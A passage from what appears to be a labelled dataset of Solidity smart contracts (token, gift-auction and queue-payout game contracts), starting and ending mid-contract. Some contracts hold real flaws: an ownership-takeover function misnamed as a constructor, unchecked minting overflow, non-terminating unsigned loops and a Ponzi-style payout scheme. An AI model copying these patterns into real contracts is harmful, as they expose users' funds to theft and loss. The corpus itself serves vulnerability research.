uint256 constant REMAINING_AMOUNT = 50000;
function TrueloveNextSale() internal {
_giveRemainingFlower();
}
function openNextSale(uint256 _diamond1Price, bytes24 _diamond2Model, uint256 _diamond2Price, bytes24 _flowerModel, uint256 _flowerPrice)
external onlyCOO
{
require(now >= nextSaleTime);
_setVars();
diamond1.price = _diamond1Price;
_openSaleDiamond2(_diamond2Model, _diamond2Price);
_openSaleFlower(_flowerModel, _flowerPrice);
_giveRemainingFlower();
}
function _openSaleDiamond2(bytes24 _diamond2Model, uint256 _diamond2Price) private {
diamond2.model = _diamond2Model;
diamond2.current = 0;
diamond2.year++;
diamond2.price = _diamond2Price;
}
function _openSaleFlower(bytes24 _flowerModel, uint256 _flowerPrice) private {
flower.model = _flowerModel;
flower.current = 0;
flower.year++;
flower.price = _flowerPrice;
flower.total = 1000000;
}
function _giveRemainingFlower() internal {
_transferFlower(0, msg.sender, REMAINING_AMOUNT);
_addFlower(REMAINING_AMOUNT);
}
}
contract TrueloveRegistration is TrueloveNextSale {
mapping (address => RegistrationRight) public registrationRights;
mapping (bytes32 => Registration) public registrations;
struct RegistrationRight {
bool able;
bool used;
}
struct Registration {
bool signed;
string secret;
string topSecret;
}
function giveRegistration(address _addr) external onlyCOO {
if (registrationRights[_addr].able == false) {
registrationRights[_addr].able = true;
} else {
revert();
}
}
function buyRegistration() external payable whenNotPaused {
require(registerPrice <= msg.value);
if (registrationRights[msg.sender].able == false) {
registrationRights[msg.sender].able = true;
} else {
revert();
}
}
function _giveSenderRegistration() internal {
if (registrationRights[msg.sender].able == false) {
registrationRights[msg.sender].able = true;
}
}
function getRegistrationRight(address _addr) external view returns (bool able, bool used) {
able = registrationRights[_addr].able;
used = registrationRights[_addr].used;
}
function getRegistration(bytes32 _unique) external view returns (bool signed, string secret, string topSecret) {
signed = registrations[_unique].signed;
secret = registrations[_unique].secret;
topSecret = registrations[_unique].topSecret;
}
function signTruelove(bytes32 _registerID, string _secret, string _topSecret) public {
require(registrationRights[msg.sender].able == true);
require(registrationRights[msg.sender].used == false);
registrationRights[msg.sender].used = true;
_signTruelove(_registerID, _secret, _topSecret);
}
function signTrueloveByCOO(bytes32 _registerID, string _secret, string _topSecret) external onlyCOO {
_signTruelove(_registerID, _secret, _topSecret);
}
function _signTruelove(bytes32 _registerID, string _secret, string _topSecret) internal {
require(registrations[_registerID].signed == false);
registrations[_registerID].signed = true;
registrations[_registerID].secret = _secret;
registrations[_registerID].topSecret = _topSecret;
}
}
contract TrueloveShop is TrueloveRegistration {
function buyDiamond(uint _index) external payable whenNotPaused returns(uint256) {
require(_index == 1 || _index == 2 || _index == 3);
Model storage model = _getModel(_index);
require(model.current < model.total);
require(model.price <= msg.value);
_giveSenderRegistration();
uint256 newDiamondId = diamonds.push(Diamond({model: model.model, year: model.year, no: uint16(model.current + 1), activateAt: 0})) - 1;
_transfer(0, msg.sender, newDiamondId);
model.current++;
return newDiamondId;
}
function buyFlower(uint _amount) external payable whenNotPaused {
require(flower.current + _amount < flower.total);
uint256 price = currentFlowerPrice();
require(price * _amount <= msg.value);
_giveSenderRegistration();
_transferFlower(0, msg.sender, _amount);
_addFlower(_amount);
}
function currentFlowerPrice() public view returns(uint256) {
if (flower.current < 100000 + REMAINING_AMOUNT) {
return flower.price;
} else if (flower.current < 300000 + REMAINING_AMOUNT) {
return flower.price * 4;
} else {
return flower.price * 10;
}
}
}
contract TrueloveDelivery is TrueloveShop {
enum GiftType { Diamond, Flower }
event GiftSend(uint indexed index, address indexed receiver, address indexed from, bytes32 registerID, string letter, bytes16 date,
GiftType gtype,
bytes24 model,
uint16 year,
uint16 no,
uint amount
);
uint public giftSendIndex = 1;
modifier sendCheck(bytes32 _registerID) {
require(sendGiftPrice <= msg.value);
require(registrations[_registerID].signed);
_;
}
function signSendDiamond(bytes32 _registerID, string _secret, string _topSecret, address _truelove, string _letter, bytes16 _date, uint _tokenId) external payable {
signTruelove(_registerID, _secret, _topSecret);
sendDiamond(_truelove, _registerID, _letter, _date, _tokenId);
}
function sendDiamond(address _truelove, bytes32 _registerID, string _letter, bytes16 _date, uint _tokenId) public payable sendCheck(_registerID) {
require(_owns(msg.sender, _tokenId));
require(now > diamonds[_tokenId].activateAt);
_transfer(msg.sender, _truelove, _tokenId);
diamonds[_tokenId].activateAt = now + 3 days;
GiftSend(giftSendIndex, _truelove, msg.sender, _registerID, _letter, _date,
GiftType.Diamond,
diamonds[_tokenId].model,
diamonds[_tokenId].year,
diamonds[_tokenId].no,
1
);
giftSendIndex++;
}
function signSendFlower(bytes32 _registerID, string _secret, string _topSecret, address _truelove, string _letter, bytes16 _date, uint _amount) external payable {
signTruelove(_registerID, _secret, _topSecret);
sendFlower(_truelove, _registerID, _letter, _date, _amount);
}
function sendFlower(address _truelove, bytes32 _registerID, string _letter, bytes16 _date, uint _amount) public payable sendCheck(_registerID) {
require(flowerBalances[msg.sender] >= _amount);
flowerBalances[msg.sender] -= _amount;
flowerBalances[_truelove] += (_amount * 9 / 10);
GiftSend(giftSendIndex, _truelove, msg.sender, _registerID, _letter, _date,
GiftType.Flower,
flower.model,
flower.year,
0,
_amount
);
giftSendIndex++;
}
}
contract TrueloveAuction is TrueloveDelivery {
function setDiamondAuctionAddress(address _address) external onlyCEO {
DiamondAuction candidateContract = DiamondAuction(_address);
require(candidateContract.isDiamondAuction());
diamondAuction = candidateContract;
}
function createDiamondAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, diamondAuction);
diamondAuction.createAuction(
_tokenId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function setFlowerAuctionAddress(address _address) external onlyCEO {
FlowerAuction candidateContract = FlowerAuction(_address);
require(candidateContract.isFlowerAuction());
flowerAuction = candidateContract;
}
function createFlowerAuction(
uint256 _amount,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
approveFlower(flowerAuction, _amount);
flowerAuction.createAuction(
_amount,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function withdrawAuctionBalances() external onlyCLevel {
diamondAuction.withdrawBalance();
flowerAuction.withdrawBalance();
}
}
contract TrueloveCore is TrueloveAuction {
address public newContractAddress;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
event TransferFlower(address from, address to, uint256 value);
event ApprovalFlower(address owner, address spender, uint256 value);
event GiftSend(uint indexed index, address indexed receiver, address indexed from, bytes32 registerID, string letter, bytes16 date,
GiftType gtype,
bytes24 model,
uint16 year,
uint16 no,
uint amount
);
function TrueloveCore() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function() external payable {
require(
msg.sender == address(diamondAuction) ||
msg.sender == address(flowerAuction)
);
}
function withdrawBalance(uint256 amount) external onlyCFO {
cfoAddress.transfer(amount);
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 indexed tokenId, address indexed seller, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 indexed tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 indexed tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
_auction.seller,
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
nftAddress.send(this.balance);
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract DiamondAuction is ClockAuction {
bool public isDiamondAuction = true;
event AuctionCreated(uint256 indexed tokenId, address indexed seller, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 indexed tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 indexed tokenId);
function DiamondAuction(address _nftAddr) public
ClockAuction(_nftAddr, 0) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
tokenIdToAuction[_tokenId].seller;
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
}
contract FlowerAuction is Pausable {
struct Auction {
address seller;
uint256 amount;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
EIP20Interface public tokenContract;
uint256 public ownerCut;
mapping (uint256 => Auction) auctions;
mapping (address => uint256) sellerToAuction;
uint256 public currentAuctionId;
event AuctionCreated(uint256 indexed auctionId, address indexed seller, uint256 amount, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 indexed auctionId, uint256 amount, address winner);
event AuctionSoldOut(uint256 indexed auctionId);
event AuctionCancelled(uint256 indexed auctionId);
bytes4 constant InterfaceSignature_EIP20 = bytes4(0x98474109);
bool public isFlowerAuction = true;
function FlowerAuction(address _nftAddress) public {
ownerCut = 0;
EIP20Interface candidateContract = EIP20Interface(_nftAddress);
require(candidateContract.supportsEIP20Interface(InterfaceSignature_EIP20));
tokenContract = candidateContract;
}
function createAuction(
uint256 _amount,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(tokenContract));
_escrow(_seller, _amount);
Auction memory auction = Auction(
_seller,
_amount,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(auction);
}
function bid(uint256 _auctionId, uint256 _amount)
external
payable
{
_bid(_auctionId, _amount, msg.value);
_transfer(msg.sender, _amount);
}
function withdrawBalance() external {
address nftAddress = address(tokenContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
nftAddress.send(this.balance);
}
function cancelAuction(uint256 _auctionId)
external
{
Auction storage auction = auctions[_auctionId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_auctionId, seller);
}
function cancelAuctionWhenPaused(uint256 _auctionId)
whenPaused
onlyOwner
external
{
Auction storage auction = auctions[_auctionId];
require(_isOnAuction(auction));
_cancelAuction(_auctionId, auction.seller);
}
function getAuction(uint256 _auctionId)
external
view
returns
(
address seller,
uint256 amount,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = auctions[_auctionId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.amount,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _auctionId)
external
view
returns (uint256)
{
Auction storage auction = auctions[_auctionId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
function _escrow(address _owner, uint256 _amount) internal {
tokenContract.transferFromFlower(_owner, this, _amount);
}
function _transfer(address _receiver, uint256 _amount) internal {
tokenContract.transferFlower(_receiver, _amount);
}
function _addAuction(Auction _auction) internal {
require(_auction.duration >= 1 minutes);
currentAuctionId++;
auctions[currentAuctionId] = _auction;
sellerToAuction[_auction.seller] = currentAuctionId;
AuctionCreated(
currentAuctionId,
_auction.seller,
_auction.amount,
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _auctionId, address _seller) internal {
uint256 amount = auctions[_auctionId].amount;
delete sellerToAuction[auctions[_auctionId].seller];
delete auctions[_auctionId];
_transfer(_seller, amount);
AuctionCancelled(_auctionId);
}
function _bid(uint256 _auctionId, uint256 _amount, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = auctions[_auctionId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
uint256 totalPrice = price * _amount;
require(_bidAmount >= totalPrice);
auction.amount -= _amount;
address seller = auction.seller;
if (totalPrice > 0) {
uint256 auctioneerCut = _computeCut(totalPrice);
uint256 sellerProceeds = totalPrice - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - totalPrice;
msg.sender.transfer(bidExcess);
if (auction.amount == 0) {
AuctionSoldOut(_auctionId);
delete auctions[_auctionId];
} else {
AuctionSuccessful(_auctionId, _amount, msg.sender);
}
return totalPrice;
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
} | 1 | 2,962 |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20() public {
totalSupply = 10000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "One Exchange Token";
symbol = "1X";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract OneExchangeToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint256 public decimals = 18;
string public tokenName;
string public tokenSymbol;
string public tokenDescription;
uint minBalanceForAccounts;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function WorldSafetySecurityToken() public {
owner = msg.sender;
totalSupply = 10000000000000000000000000000;
balanceOf[owner]=totalSupply;
tokenName="One Exchange Token";
tokenSymbol="1X";
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(balanceOf[msg.sender] >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function setMinBalance(uint minimumBalanceInFinney) public onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
function setTokenName(string newTokenName) public onlyOwner{
tokenName = newTokenName;
name = newTokenName;
}
function setTokenSymbol(string newTokenSymbol) public onlyOwner{
tokenSymbol = newTokenSymbol;
symbol = newTokenSymbol;
}
function setTokenDescription(string newDescription)public onlyOwner{
tokenDescription = newDescription;
}
function AirDrop(address[] dests, uint256[] values) public onlyOwner returns(uint256) {
uint256 i = 0;
while (i < dests.length) {
_transfer(this,dests[i], values[i]);
i += 1;
}
return i;
}
} | 1 | 3,161 |
pragma solidity ^0.4.24;
contract XKnockoutHamster {
using SafeMath for uint256;
struct EntityStruct {
bool active;
bool vip;
uint listPointer;
uint256 date;
uint256 update;
uint256 exit;
uint256 profit;
}
mapping(address => EntityStruct) public entityStructs;
address[] public entityList;
address[] public vipList;
address dev;
uint256 base = 100000000000000000;
uint256 public startedAt = now;
uint256 public timeRemaining = 24 hours;
uint256 public devreward;
uint public round = 1;
uint public shift = 0;
uint public joined = 0;
uint public exited = 0;
bool public timetoRegular = true;
constructor() public {
dev = msg.sender;
}
function() public payable {
if(checkRemaining()) { msg.sender.transfer(msg.value);
} else {
if(msg.value == base) {
addToList();
} else if(msg.value == base.div(10)) {
up();
} else {
revert("You should send 0.1 ETH to join the list or 0.01 ETH to up");
}
}
}
function addToList() internal {
if(entityStructs[msg.sender].active) revert("You are already in the list");
newEntity(msg.sender, true);
joined++;
startedAt = now;
entityStructs[msg.sender].date = now;
entityStructs[msg.sender].profit = 0;
entityStructs[msg.sender].update = 0;
entityStructs[msg.sender].exit = 0;
entityStructs[msg.sender].active = true;
entityStructs[msg.sender].vip = false;
if(timetoRegular) {
entityStructs[entityList[shift]].profit += base;
if(entityStructs[entityList[shift]].profit == 2*base) {
entityStructs[entityList[shift]].active = false;
entityStructs[entityList[shift]].exit = now;
entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) );
devreward += entityStructs[entityList[shift]].profit.mul(10).div(100);
exitREG();
exited++;
if(lastVIPkey() != 9999) {
if(vipList[lastVIPkey()] != address(0)) timetoRegular = false;
}
}
} else if (!timetoRegular) {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].profit += base;
if(entityStructs[vipList[lastVIP]].profit == 2*base) {
entityStructs[vipList[lastVIP]].active = false;
entityStructs[vipList[lastVIP]].exit = now;
vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) );
devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100);
exitVIP(vipList[lastVIP]);
exited++;
timetoRegular = true;
}
}
}
function up() internal {
if(joined.sub(exited) < 3) revert("You are too alone to up");
if(!entityStructs[msg.sender].active) revert("You are not in the list");
if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min");
if(!entityStructs[msg.sender].vip) {
uint rowToDelete = entityStructs[msg.sender].listPointer;
address keyToMove = entityList[entityList.length-1];
entityList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
entityList.length--;
entityStructs[msg.sender].update = now;
entityStructs[msg.sender].vip = true;
newVip(msg.sender, true);
devreward += msg.value;
} else if (entityStructs[msg.sender].vip) {
entityStructs[msg.sender].update = now;
delete vipList[entityStructs[msg.sender].listPointer];
newVip(msg.sender, true);
devreward += msg.value;
}
}
function newEntity(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].active = entityData;
entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1;
return true;
}
function exitREG() internal returns(bool success) {
delete entityList[shift];
shift++;
return true;
}
function getVipCount() public constant returns(uint entityCount) {
return vipList.length;
}
function newVip(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].vip = entityData;
entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1;
return true;
}
function exitVIP(address entityAddress) internal returns(bool success) {
uint rowToDelete = entityStructs[entityAddress].listPointer;
address keyToMove = vipList[vipList.length-1];
vipList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
vipList.length--;
return true;
}
function lastVIPkey() public constant returns(uint) {
if(vipList.length == 0) return 9999;
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
return l;
}
}
return 9999;
}
function lastREG() public view returns (address) {
return entityList[shift];
}
function lastVIP() public view returns (address) {
if(lastVIPkey() != 9999) {
return vipList[lastVIPkey()];
}
return address(0);
}
function checkRemaining() public returns (bool) {
if(now >= timeRemaining.add(startedAt)) {
if(vipList.length > 0) {
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
entityStructs[vipList[l]].active = false;
entityStructs[vipList[l]].vip = false;
entityStructs[vipList[l]].date = 0;
}
}
}
if(shift < entityList.length-1) {
for(uint r = shift; r < entityList.length-1; r++) {
entityStructs[entityList[r]].active = false;
entityStructs[entityList[r]].date = 0;
}
}
rewardDev();
if(address(this).balance.sub(devreward) > 0) {
if(lastVIPkey() != 9999) {
vipList[lastVIPkey()].transfer(address(this).balance);
}
}
vipList.length=0;
entityList.length=0;
shift = 0;
startedAt = now;
timeRemaining = 24 hours;
timetoRegular = true;
round++;
return true;
}
uint range = joined.sub(exited).div(100);
if(range != 0) {
timeRemaining = timeRemaining.div(range.mul(2));
}
return false;
}
function rewardDev() public {
dev.transfer(devreward);
devreward = 0;
}
function queueVIP() public view returns (address[]) {
return vipList;
}
function queueREG() public view returns (address[]) {
return entityList;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 715 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
